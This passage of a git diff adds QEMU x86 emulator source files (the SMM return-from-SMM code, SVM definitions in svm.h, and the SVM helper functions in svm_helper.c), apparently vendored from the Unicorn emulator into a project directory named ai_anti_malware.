(val & 0x20000) { + env->smbase = ldl_phys(cs->as, sm_state + 0x7f00) & ~0x7fff; + } +#else + cpu_x86_update_cr0(env, ldl_phys(cs->as, sm_state + 0x7ffc)); + cpu_x86_update_cr3(env, ldl_phys(cs->as, sm_state + 0x7ff8)); + cpu_load_eflags(env, ldl_phys(cs->as, sm_state + 0x7ff4), + ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | DF_MASK)); + env->eip = ldl_phys(cs->as, sm_state + 0x7ff0); + env->regs[R_EDI] = ldl_phys(cs->as, sm_state + 0x7fec); + env->regs[R_ESI] = ldl_phys(cs->as, sm_state + 0x7fe8); + env->regs[R_EBP] = ldl_phys(cs->as, sm_state + 0x7fe4); + env->regs[R_ESP] = ldl_phys(cs->as, sm_state + 0x7fe0); + env->regs[R_EBX] = ldl_phys(cs->as, sm_state + 0x7fdc); + env->regs[R_EDX] = ldl_phys(cs->as, sm_state + 0x7fd8); + env->regs[R_ECX] = ldl_phys(cs->as, sm_state + 0x7fd4); + env->regs[R_EAX] = ldl_phys(cs->as, sm_state + 0x7fd0); + env->dr[6] = ldl_phys(cs->as, sm_state + 0x7fcc); + env->dr[7] = ldl_phys(cs->as, sm_state + 0x7fc8); + + env->tr.selector = ldl_phys(cs->as, sm_state + 0x7fc4) & 0xffff; + env->tr.base = ldl_phys(cs->as, sm_state + 0x7f64); + env->tr.limit = ldl_phys(cs->as, sm_state + 0x7f60); + env->tr.flags = (ldl_phys(cs->as, sm_state + 0x7f5c) & 0xf0ff) << 8; + + env->ldt.selector = ldl_phys(cs->as, sm_state + 0x7fc0) & 0xffff; + env->ldt.base = ldl_phys(cs->as, sm_state + 0x7f80); + env->ldt.limit = ldl_phys(cs->as, sm_state + 0x7f7c); + env->ldt.flags = (ldl_phys(cs->as, sm_state + 0x7f78) & 0xf0ff) << 8; + + env->gdt.base = ldl_phys(cs->as, sm_state + 0x7f74); + env->gdt.limit = ldl_phys(cs->as, sm_state + 0x7f70); + + env->idt.base = ldl_phys(cs->as, sm_state + 0x7f58); + env->idt.limit = ldl_phys(cs->as, sm_state + 0x7f54); + + for (i = 0; i < 6; i++) { + if (i < 3) { + offset = 0x7f84 + i * 12; + } else { + offset = 0x7f2c + (i - 3) * 12; + } + cpu_x86_load_seg_cache(env, i, + ldl_phys(cs->as, + sm_state + 0x7fa8 + i * 4) & 0xffff, + ldl_phys(cs->as, sm_state + offset + 8), + ldl_phys(cs->as, sm_state + offset + 4), + (ldl_phys(cs->as, + sm_state + offset) & 0xf0ff) << 8); + } + cpu_x86_update_cr4(env, ldl_phys(cs->as, sm_state + 0x7f14)); + + val = ldl_phys(cs->as, sm_state + 0x7efc); /* revision ID */ + if (val & 0x20000) { + env->smbase = ldl_phys(cs->as, sm_state + 0x7ef8) & ~0x7fff; + } +#endif + env->hflags &= ~HF_SMM_MASK; + cpu_smm_update(env); + + qemu_log_mask(CPU_LOG_INT, "SMM: after RSM\n"); + log_cpu_state_mask(CPU_LOG_INT, CPU(cpu), CPU_DUMP_CCOP); +} + +#endif /* !CONFIG_USER_ONLY */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm.h new file mode 100644 index 0000000..188aa28 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm.h @@ -0,0 +1,222 @@ +#ifndef __SVM_H +#define __SVM_H + +#define TLB_CONTROL_DO_NOTHING 0 +#define TLB_CONTROL_FLUSH_ALL_ASID 1 + +#define V_TPR_MASK 0x0f + +#define V_IRQ_SHIFT 8 +#define V_IRQ_MASK (1 << V_IRQ_SHIFT) + +#define V_INTR_PRIO_SHIFT 16 +#define V_INTR_PRIO_MASK (0x0f << V_INTR_PRIO_SHIFT) + +#define V_IGN_TPR_SHIFT 20 +#define V_IGN_TPR_MASK (1 << V_IGN_TPR_SHIFT) + +#define V_INTR_MASKING_SHIFT 24 +#define V_INTR_MASKING_MASK (1 << V_INTR_MASKING_SHIFT) + +#define SVM_INTERRUPT_SHADOW_MASK 1 + +#define SVM_IOIO_STR_SHIFT 2 +#define SVM_IOIO_REP_SHIFT 3 +#define SVM_IOIO_SIZE_SHIFT 4 +#define SVM_IOIO_ASIZE_SHIFT 7 + +#define SVM_IOIO_TYPE_MASK 1 +#define SVM_IOIO_STR_MASK (1 << SVM_IOIO_STR_SHIFT) +#define SVM_IOIO_REP_MASK (1 << SVM_IOIO_REP_SHIFT) +#define SVM_IOIO_SIZE_MASK (7 << SVM_IOIO_SIZE_SHIFT) +#define SVM_IOIO_ASIZE_MASK (7 << SVM_IOIO_ASIZE_SHIFT) + +#define SVM_EVTINJ_VEC_MASK 0xff + +#define SVM_EVTINJ_TYPE_SHIFT 8 +#define SVM_EVTINJ_TYPE_MASK (7 << SVM_EVTINJ_TYPE_SHIFT) + +#define SVM_EVTINJ_TYPE_INTR (0 << SVM_EVTINJ_TYPE_SHIFT) +#define SVM_EVTINJ_TYPE_NMI (2 << SVM_EVTINJ_TYPE_SHIFT) +#define SVM_EVTINJ_TYPE_EXEPT (3 << SVM_EVTINJ_TYPE_SHIFT) +#define SVM_EVTINJ_TYPE_SOFT (4 << SVM_EVTINJ_TYPE_SHIFT) + +#define SVM_EVTINJ_VALID (1 << 31) +#define SVM_EVTINJ_VALID_ERR (1 << 11) + +#define SVM_EXITINTINFO_VEC_MASK SVM_EVTINJ_VEC_MASK + +#define SVM_EXITINTINFO_TYPE_INTR SVM_EVTINJ_TYPE_INTR +#define SVM_EXITINTINFO_TYPE_NMI SVM_EVTINJ_TYPE_NMI +#define SVM_EXITINTINFO_TYPE_EXEPT SVM_EVTINJ_TYPE_EXEPT +#define SVM_EXITINTINFO_TYPE_SOFT SVM_EVTINJ_TYPE_SOFT + +#define SVM_EXITINTINFO_VALID SVM_EVTINJ_VALID +#define SVM_EXITINTINFO_VALID_ERR SVM_EVTINJ_VALID_ERR + +#define SVM_EXIT_READ_CR0 0x000 +#define SVM_EXIT_READ_CR3 0x003 +#define SVM_EXIT_READ_CR4 0x004 +#define SVM_EXIT_READ_CR8 0x008 +#define SVM_EXIT_WRITE_CR0 0x010 +#define SVM_EXIT_WRITE_CR3 0x013 +#define SVM_EXIT_WRITE_CR4 0x014 +#define SVM_EXIT_WRITE_CR8 0x018 +#define SVM_EXIT_READ_DR0 0x020 +#define SVM_EXIT_READ_DR1 0x021 +#define SVM_EXIT_READ_DR2 0x022 +#define SVM_EXIT_READ_DR3 0x023 +#define SVM_EXIT_READ_DR4 0x024 +#define SVM_EXIT_READ_DR5 0x025 +#define SVM_EXIT_READ_DR6 0x026 +#define SVM_EXIT_READ_DR7 0x027 +#define SVM_EXIT_WRITE_DR0 0x030 +#define SVM_EXIT_WRITE_DR1 0x031 +#define SVM_EXIT_WRITE_DR2 0x032 +#define SVM_EXIT_WRITE_DR3 0x033 +#define SVM_EXIT_WRITE_DR4 0x034 +#define SVM_EXIT_WRITE_DR5 0x035 +#define SVM_EXIT_WRITE_DR6 0x036 +#define SVM_EXIT_WRITE_DR7 0x037 +#define SVM_EXIT_EXCP_BASE 0x040 +#define SVM_EXIT_INTR 0x060 +#define SVM_EXIT_NMI 0x061 +#define SVM_EXIT_SMI 0x062 +#define SVM_EXIT_INIT 0x063 +#define SVM_EXIT_VINTR 0x064 +#define SVM_EXIT_CR0_SEL_WRITE 0x065 +#define SVM_EXIT_IDTR_READ 0x066 +#define SVM_EXIT_GDTR_READ 0x067 +#define SVM_EXIT_LDTR_READ 0x068 +#define SVM_EXIT_TR_READ 0x069 +#define SVM_EXIT_IDTR_WRITE 0x06a +#define SVM_EXIT_GDTR_WRITE 0x06b +#define SVM_EXIT_LDTR_WRITE 0x06c +#define SVM_EXIT_TR_WRITE 0x06d +#define SVM_EXIT_RDTSC 0x06e +#define SVM_EXIT_RDPMC 0x06f +#define SVM_EXIT_PUSHF 0x070 +#define SVM_EXIT_POPF 0x071 +#define SVM_EXIT_CPUID 0x072 +#define SVM_EXIT_RSM 0x073 +#define SVM_EXIT_IRET 0x074 +#define SVM_EXIT_SWINT 0x075 +#define SVM_EXIT_INVD 0x076 +#define SVM_EXIT_PAUSE 0x077 +#define SVM_EXIT_HLT 0x078 +#define SVM_EXIT_INVLPG 0x079 +#define SVM_EXIT_INVLPGA 0x07a +#define SVM_EXIT_IOIO 0x07b +#define SVM_EXIT_MSR 0x07c +#define SVM_EXIT_TASK_SWITCH 0x07d +#define SVM_EXIT_FERR_FREEZE 0x07e +#define SVM_EXIT_SHUTDOWN 0x07f +#define SVM_EXIT_VMRUN 0x080 +#define SVM_EXIT_VMMCALL 0x081 +#define SVM_EXIT_VMLOAD 0x082 +#define SVM_EXIT_VMSAVE 0x083 +#define SVM_EXIT_STGI 0x084 +#define SVM_EXIT_CLGI 0x085 +#define SVM_EXIT_SKINIT 0x086 +#define SVM_EXIT_RDTSCP 0x087 +#define SVM_EXIT_ICEBP 0x088 +#define SVM_EXIT_WBINVD 0x089 +/* only included in documentation, maybe wrong */ +#define SVM_EXIT_MONITOR 0x08a +#define SVM_EXIT_MWAIT 0x08b +#define SVM_EXIT_NPF 0x400 + +#define SVM_EXIT_ERR -1 + +#define SVM_CR0_SELECTIVE_MASK (1 << 3 | 1) /* TS and MP */ + +QEMU_PACK( struct vmcb_control_area { + uint16_t intercept_cr_read; + uint16_t intercept_cr_write; + uint16_t intercept_dr_read; + uint16_t intercept_dr_write; + uint32_t intercept_exceptions; + uint64_t intercept; + uint8_t reserved_1[44]; + uint64_t iopm_base_pa; + uint64_t msrpm_base_pa; + uint64_t tsc_offset; + uint32_t asid; + uint8_t tlb_ctl; + uint8_t reserved_2[3]; + uint32_t int_ctl; + uint32_t int_vector; + uint32_t int_state; + uint8_t reserved_3[4]; + uint64_t exit_code; + uint64_t exit_info_1; + uint64_t exit_info_2; + uint32_t exit_int_info; + uint32_t exit_int_info_err; + uint64_t nested_ctl; + uint8_t reserved_4[16]; + uint32_t event_inj; + uint32_t event_inj_err; + uint64_t nested_cr3; + uint64_t lbr_ctl; + uint8_t reserved_5[832]; +}); + +QEMU_PACK( struct vmcb_seg { + uint16_t selector; + uint16_t attrib; + uint32_t limit; + uint64_t base; +}); + +QEMU_PACK( struct vmcb_save_area { + struct vmcb_seg es; + struct vmcb_seg cs; + struct vmcb_seg ss; + struct vmcb_seg ds; + struct vmcb_seg fs; + struct vmcb_seg gs; + struct vmcb_seg gdtr; + struct vmcb_seg ldtr; + struct vmcb_seg idtr; + struct vmcb_seg tr; + uint8_t reserved_1[43]; + uint8_t cpl; + uint8_t reserved_2[4]; + uint64_t efer; + uint8_t reserved_3[112]; + uint64_t cr4; + uint64_t cr3; + uint64_t cr0; + uint64_t dr7; + uint64_t dr6; + uint64_t rflags; + uint64_t rip; + uint8_t reserved_4[88]; + uint64_t rsp; + uint8_t reserved_5[24]; + uint64_t rax; + uint64_t star; + uint64_t lstar; + uint64_t cstar; + uint64_t sfmask; + uint64_t kernel_gs_base; + uint64_t sysenter_cs; + uint64_t sysenter_esp; + uint64_t sysenter_eip; + uint64_t cr2; + uint8_t reserved_6[32]; + uint64_t g_pat; + uint64_t dbgctl; + uint64_t br_from; + uint64_t br_to; + uint64_t last_excp_from; + uint64_t last_excp_to; +}); + +QEMU_PACK( struct vmcb { + struct vmcb_control_area control; + struct vmcb_save_area save; +}); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm_helper.c new file mode 100644 index 0000000..085749d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/svm_helper.c @@ -0,0 +1,760 @@ +/* + * x86 SVM helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/cpu-all.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +/* Secure Virtual Machine helpers */ + +#if defined(CONFIG_USER_ONLY) + +void helper_vmrun(CPUX86State *env, int aflag, int next_eip_addend) +{ +} + +void helper_vmmcall(CPUX86State *env) +{ +} + +void helper_vmload(CPUX86State *env, int aflag) +{ +} + +void helper_vmsave(CPUX86State *env, int aflag) +{ +} + +void helper_stgi(CPUX86State *env) +{ +} + +void helper_clgi(CPUX86State *env) +{ +} + +void helper_skinit(CPUX86State *env) +{ +} + +void helper_invlpga(CPUX86State *env, int aflag) +{ +} + +void helper_vmexit(CPUX86State *env, uint32_t exit_code, uint64_t exit_info_1) +{ +} + +void cpu_vmexit(CPUX86State *nenv, uint32_t exit_code, uint64_t exit_info_1) +{ +} + +void helper_svm_check_intercept_param(CPUX86State *env, uint32_t type, + uint64_t param) +{ +} + +void cpu_svm_check_intercept_param(CPUX86State *env, uint32_t type, + uint64_t param) +{ +} + +void helper_svm_check_io(CPUX86State *env, uint32_t port, uint32_t param, + uint32_t next_eip_addend) +{ +} +#else + +static inline void svm_save_seg(CPUX86State *env, hwaddr addr, + const SegmentCache *sc) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + stw_phys(cs->as, addr + offsetof(struct vmcb_seg, selector), + sc->selector); + stq_phys(cs->as, addr + offsetof(struct vmcb_seg, base), + sc->base); + stl_phys(cs->as, addr + offsetof(struct vmcb_seg, limit), + sc->limit); + stw_phys(cs->as, addr + offsetof(struct vmcb_seg, attrib), + ((sc->flags >> 8) & 0xff) | ((sc->flags >> 12) & 0x0f00)); +} + +static inline void svm_load_seg(CPUX86State *env, hwaddr addr, + SegmentCache *sc) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + unsigned int flags; + + sc->selector = lduw_phys(cs->as, + addr + offsetof(struct vmcb_seg, selector)); + sc->base = ldq_phys(cs->as, addr + offsetof(struct vmcb_seg, base)); + sc->limit = ldl_phys(cs->as, addr + offsetof(struct vmcb_seg, limit)); + flags = lduw_phys(cs->as, addr + offsetof(struct vmcb_seg, attrib)); + sc->flags = ((flags & 0xff) << 8) | ((flags & 0x0f00) << 12); +} + +static inline void svm_load_seg_cache(CPUX86State *env, hwaddr addr, + int seg_reg) +{ + SegmentCache sc1, *sc = &sc1; + + svm_load_seg(env, addr, sc); + cpu_x86_load_seg_cache(env, seg_reg, sc->selector, + sc->base, sc->limit, sc->flags); +} + +void helper_vmrun(CPUX86State *env, int aflag, int next_eip_addend) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + target_ulong addr; + uint32_t event_inj; + uint32_t int_ctl; + + cpu_svm_check_intercept_param(env, SVM_EXIT_VMRUN, 0); + + if (aflag == 2) { + addr = env->regs[R_EAX]; + } else { + addr = (uint32_t)env->regs[R_EAX]; + } + + qemu_log_mask(CPU_LOG_TB_IN_ASM, "vmrun! " TARGET_FMT_lx "\n", addr); + + env->vm_vmcb = addr; + + /* save the current CPU state in the hsave page */ + stq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, save.gdtr.base), + env->gdt.base); + stl_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, save.gdtr.limit), + env->gdt.limit); + + stq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, save.idtr.base), + env->idt.base); + stl_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, save.idtr.limit), + env->idt.limit); + + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.cr0), env->cr[0]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.cr2), env->cr[2]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.cr3), env->cr[3]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.cr4), env->cr[4]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.dr6), env->dr[6]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.dr7), env->dr[7]); + + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.efer), env->efer); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.rflags), + cpu_compute_eflags(env)); + + svm_save_seg(env, env->vm_hsave + offsetof(struct vmcb, save.es), + &env->segs[R_ES]); + svm_save_seg(env, env->vm_hsave + offsetof(struct vmcb, save.cs), + &env->segs[R_CS]); + svm_save_seg(env, env->vm_hsave + offsetof(struct vmcb, save.ss), + &env->segs[R_SS]); + svm_save_seg(env, env->vm_hsave + offsetof(struct vmcb, save.ds), + &env->segs[R_DS]); + + stq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, save.rip), + env->eip + next_eip_addend); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.rsp), env->regs[R_ESP]); + stq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.rax), env->regs[R_EAX]); + + /* load the interception bitmaps so we do not need to access the + vmcb in svm mode */ + env->intercept = ldq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.intercept)); + env->intercept_cr_read = lduw_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.intercept_cr_read)); + env->intercept_cr_write = lduw_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.intercept_cr_write)); + env->intercept_dr_read = lduw_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.intercept_dr_read)); + env->intercept_dr_write = lduw_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.intercept_dr_write)); + env->intercept_exceptions = ldl_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.intercept_exceptions + )); + + /* enable intercepts */ + env->hflags |= HF_SVMI_MASK; + + env->tsc_offset = ldq_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, control.tsc_offset)); + + env->gdt.base = ldq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + save.gdtr.base)); + env->gdt.limit = ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + save.gdtr.limit)); + + env->idt.base = ldq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + save.idtr.base)); + env->idt.limit = ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + save.idtr.limit)); + + /* clear exit_info_2 so we behave like the real hardware */ + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.exit_info_2), 0); + + cpu_x86_update_cr0(env, ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, + save.cr0))); + cpu_x86_update_cr4(env, ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, + save.cr4))); + cpu_x86_update_cr3(env, ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, + save.cr3))); + env->cr[2] = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.cr2)); + int_ctl = ldl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.int_ctl)); + env->hflags2 &= ~(HF2_HIF_MASK | HF2_VINTR_MASK); + if (int_ctl & V_INTR_MASKING_MASK) { + env->v_tpr = int_ctl & V_TPR_MASK; + env->hflags2 |= HF2_VINTR_MASK; + if (env->eflags & IF_MASK) { + env->hflags2 |= HF2_HIF_MASK; + } + } + + cpu_load_efer(env, + ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.efer))); + env->eflags = 0; + cpu_load_eflags(env, ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, + save.rflags)), + ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | DF_MASK)); + + svm_load_seg_cache(env, env->vm_vmcb + offsetof(struct vmcb, save.es), + R_ES); + svm_load_seg_cache(env, env->vm_vmcb + offsetof(struct vmcb, save.cs), + R_CS); + svm_load_seg_cache(env, env->vm_vmcb + offsetof(struct vmcb, save.ss), + R_SS); + svm_load_seg_cache(env, env->vm_vmcb + offsetof(struct vmcb, save.ds), + R_DS); + + env->eip = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.rip)); + + env->regs[R_ESP] = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.rsp)); + env->regs[R_EAX] = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.rax)); + env->dr[7] = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.dr7)); + env->dr[6] = ldq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.dr6)); + + /* FIXME: guest state consistency checks */ + + switch (ldub_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.tlb_ctl))) { + case TLB_CONTROL_DO_NOTHING: + break; + case TLB_CONTROL_FLUSH_ALL_ASID: + /* FIXME: this is not 100% correct but should work for now */ + tlb_flush(cs, 1); + break; + } + + env->hflags2 |= HF2_GIF_MASK; + + if (int_ctl & V_IRQ_MASK) { + CPUState *cs = CPU(x86_env_get_cpu(env)); + + cs->interrupt_request |= CPU_INTERRUPT_VIRQ; + } + + /* maybe we need to inject an event */ + event_inj = ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.event_inj)); + if (event_inj & SVM_EVTINJ_VALID) { + uint8_t vector = event_inj & SVM_EVTINJ_VEC_MASK; + uint16_t valid_err = event_inj & SVM_EVTINJ_VALID_ERR; + uint32_t event_inj_err = ldl_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.event_inj_err)); + + qemu_log_mask(CPU_LOG_TB_IN_ASM, "Injecting(%#hx): ", valid_err); + /* FIXME: need to implement valid_err */ + switch (event_inj & SVM_EVTINJ_TYPE_MASK) { + case SVM_EVTINJ_TYPE_INTR: + cs->exception_index = vector; + env->error_code = event_inj_err; + env->exception_is_int = 0; + env->exception_next_eip = -1; + qemu_log_mask(CPU_LOG_TB_IN_ASM, "INTR"); + /* XXX: is it always correct? */ + do_interrupt_x86_hardirq(env, vector, 1); + break; + case SVM_EVTINJ_TYPE_NMI: + cs->exception_index = EXCP02_NMI; + env->error_code = event_inj_err; + env->exception_is_int = 0; + env->exception_next_eip = env->eip; + qemu_log_mask(CPU_LOG_TB_IN_ASM, "NMI"); + cpu_loop_exit(cs); + break; + case SVM_EVTINJ_TYPE_EXEPT: + cs->exception_index = vector; + env->error_code = event_inj_err; + env->exception_is_int = 0; + env->exception_next_eip = -1; + qemu_log_mask(CPU_LOG_TB_IN_ASM, "EXEPT"); + cpu_loop_exit(cs); + break; + case SVM_EVTINJ_TYPE_SOFT: + cs->exception_index = vector; + env->error_code = event_inj_err; + env->exception_is_int = 1; + env->exception_next_eip = env->eip; + qemu_log_mask(CPU_LOG_TB_IN_ASM, "SOFT"); + cpu_loop_exit(cs); + break; + } + qemu_log_mask(CPU_LOG_TB_IN_ASM, " %#x %#x\n", cs->exception_index, + env->error_code); + } +} + +void helper_vmmcall(CPUX86State *env) +{ + cpu_svm_check_intercept_param(env, SVM_EXIT_VMMCALL, 0); + raise_exception(env, EXCP06_ILLOP); +} + +void helper_vmload(CPUX86State *env, int aflag) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + target_ulong addr; + + cpu_svm_check_intercept_param(env, SVM_EXIT_VMLOAD, 0); + + if (aflag == 2) { + addr = env->regs[R_EAX]; + } else { + addr = (uint32_t)env->regs[R_EAX]; + } + + qemu_log_mask(CPU_LOG_TB_IN_ASM, "vmload! " TARGET_FMT_lx + "\nFS: %016" PRIx64 " | " TARGET_FMT_lx "\n", + addr, ldq_phys(cs->as, addr + offsetof(struct vmcb, + save.fs.base)), + env->segs[R_FS].base); + + svm_load_seg_cache(env, addr + offsetof(struct vmcb, save.fs), R_FS); + svm_load_seg_cache(env, addr + offsetof(struct vmcb, save.gs), R_GS); + svm_load_seg(env, addr + offsetof(struct vmcb, save.tr), &env->tr); + svm_load_seg(env, addr + offsetof(struct vmcb, save.ldtr), &env->ldt); + +#ifdef TARGET_X86_64 + env->kernelgsbase = ldq_phys(cs->as, addr + offsetof(struct vmcb, + save.kernel_gs_base)); + env->lstar = ldq_phys(cs->as, addr + offsetof(struct vmcb, save.lstar)); + env->cstar = ldq_phys(cs->as, addr + offsetof(struct vmcb, save.cstar)); + env->fmask = ldq_phys(cs->as, addr + offsetof(struct vmcb, save.sfmask)); +#endif + env->star = ldq_phys(cs->as, addr + offsetof(struct vmcb, save.star)); + env->sysenter_cs = ldq_phys(cs->as, + addr + offsetof(struct vmcb, save.sysenter_cs)); + env->sysenter_esp = ldq_phys(cs->as, addr + offsetof(struct vmcb, + save.sysenter_esp)); + env->sysenter_eip = ldq_phys(cs->as, addr + offsetof(struct vmcb, + save.sysenter_eip)); +} + +void helper_vmsave(CPUX86State *env, int aflag) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + target_ulong addr; + + cpu_svm_check_intercept_param(env, SVM_EXIT_VMSAVE, 0); + + if (aflag == 2) { + addr = env->regs[R_EAX]; + } else { + addr = (uint32_t)env->regs[R_EAX]; + } + + qemu_log_mask(CPU_LOG_TB_IN_ASM, "vmsave! " TARGET_FMT_lx + "\nFS: %016" PRIx64 " | " TARGET_FMT_lx "\n", + addr, ldq_phys(cs->as, + addr + offsetof(struct vmcb, save.fs.base)), + env->segs[R_FS].base); + + svm_save_seg(env, addr + offsetof(struct vmcb, save.fs), + &env->segs[R_FS]); + svm_save_seg(env, addr + offsetof(struct vmcb, save.gs), + &env->segs[R_GS]); + svm_save_seg(env, addr + offsetof(struct vmcb, save.tr), + &env->tr); + svm_save_seg(env, addr + offsetof(struct vmcb, save.ldtr), + &env->ldt); + +#ifdef TARGET_X86_64 + stq_phys(cs->as, addr + offsetof(struct vmcb, save.kernel_gs_base), + env->kernelgsbase); + stq_phys(cs->as, addr + offsetof(struct vmcb, save.lstar), env->lstar); + stq_phys(cs->as, addr + offsetof(struct vmcb, save.cstar), env->cstar); + stq_phys(cs->as, addr + offsetof(struct vmcb, save.sfmask), env->fmask); +#endif + stq_phys(cs->as, addr + offsetof(struct vmcb, save.star), env->star); + stq_phys(cs->as, + addr + offsetof(struct vmcb, save.sysenter_cs), env->sysenter_cs); + stq_phys(cs->as, addr + offsetof(struct vmcb, save.sysenter_esp), + env->sysenter_esp); + stq_phys(cs->as, addr + offsetof(struct vmcb, save.sysenter_eip), + env->sysenter_eip); +} + +void helper_stgi(CPUX86State *env) +{ + cpu_svm_check_intercept_param(env, SVM_EXIT_STGI, 0); + env->hflags2 |= HF2_GIF_MASK; +} + +void helper_clgi(CPUX86State *env) +{ + cpu_svm_check_intercept_param(env, SVM_EXIT_CLGI, 0); + env->hflags2 &= ~HF2_GIF_MASK; +} + +void helper_skinit(CPUX86State *env) +{ + cpu_svm_check_intercept_param(env, SVM_EXIT_SKINIT, 0); + /* XXX: not implemented */ + raise_exception(env, EXCP06_ILLOP); +} + +void helper_invlpga(CPUX86State *env, int aflag) +{ + X86CPU *cpu = x86_env_get_cpu(env); + target_ulong addr; + + cpu_svm_check_intercept_param(env, SVM_EXIT_INVLPGA, 0); + + if (aflag == 2) { + addr = env->regs[R_EAX]; + } else { + addr = (uint32_t)env->regs[R_EAX]; + } + + /* XXX: could use the ASID to see if it is needed to do the + flush */ + tlb_flush_page(CPU(cpu), addr); +} + +void helper_svm_check_intercept_param(CPUX86State *env, uint32_t type, + uint64_t param) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + if (likely(!(env->hflags & HF_SVMI_MASK))) { + return; + } + if ( (int32_t)type >= SVM_EXIT_READ_CR0 && type <= SVM_EXIT_READ_CR0 + 8 ) { + if (env->intercept_cr_read & (1 << (type - SVM_EXIT_READ_CR0))) { + helper_vmexit(env, type, param); + } + } else if ( type >= SVM_EXIT_WRITE_CR0 && type <= SVM_EXIT_WRITE_CR0 + 8 ) { + if (env->intercept_cr_write & (1 << (type - SVM_EXIT_WRITE_CR0))) { + helper_vmexit(env, type, param); + } + } else if ( type >= SVM_EXIT_READ_DR0 && type <= SVM_EXIT_READ_DR0 + 7 ) { + if (env->intercept_dr_read & (1 << (type - SVM_EXIT_READ_DR0))) { + helper_vmexit(env, type, param); + } + } else if ( type >= SVM_EXIT_WRITE_DR0 && type <= SVM_EXIT_WRITE_DR0 + 7 ) { + if (env->intercept_dr_write & (1 << (type - SVM_EXIT_WRITE_DR0))) { + helper_vmexit(env, type, param); + } + } else if ( type >= SVM_EXIT_EXCP_BASE && type <= SVM_EXIT_EXCP_BASE + 31 ) { + if (env->intercept_exceptions & (1 << (type - SVM_EXIT_EXCP_BASE))) { + helper_vmexit(env, type, param); + } + } else if ( type == SVM_EXIT_MSR ) { + if (env->intercept & (1ULL << (SVM_EXIT_MSR - SVM_EXIT_INTR))) { + /* FIXME: this should be read in at vmrun (faster this way?) */ + uint64_t addr = ldq_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.msrpm_base_pa)); + uint32_t t0, t1; + + uint32_t ecx = (uint32_t)env->regs[R_ECX]; + if ( (int32_t)ecx >= 0 && ecx <= 0x1fff ) { + t0 = (env->regs[R_ECX] * 2) % 8; + t1 = (env->regs[R_ECX] * 2) / 8; + } else if ( ecx >= 0xc0000000 && ecx <= 0xc0001fff ) { + t0 = (8192 + env->regs[R_ECX] - 0xc0000000) * 2; + t1 = (t0 / 8); + t0 %= 8; + } else if ( ecx >= 0xc0010000 && ecx <= 0xc0011fff ) { + t0 = (16384 + env->regs[R_ECX] - 0xc0010000) * 2; + t1 = (t0 / 8); + t0 %= 8; + } else { + 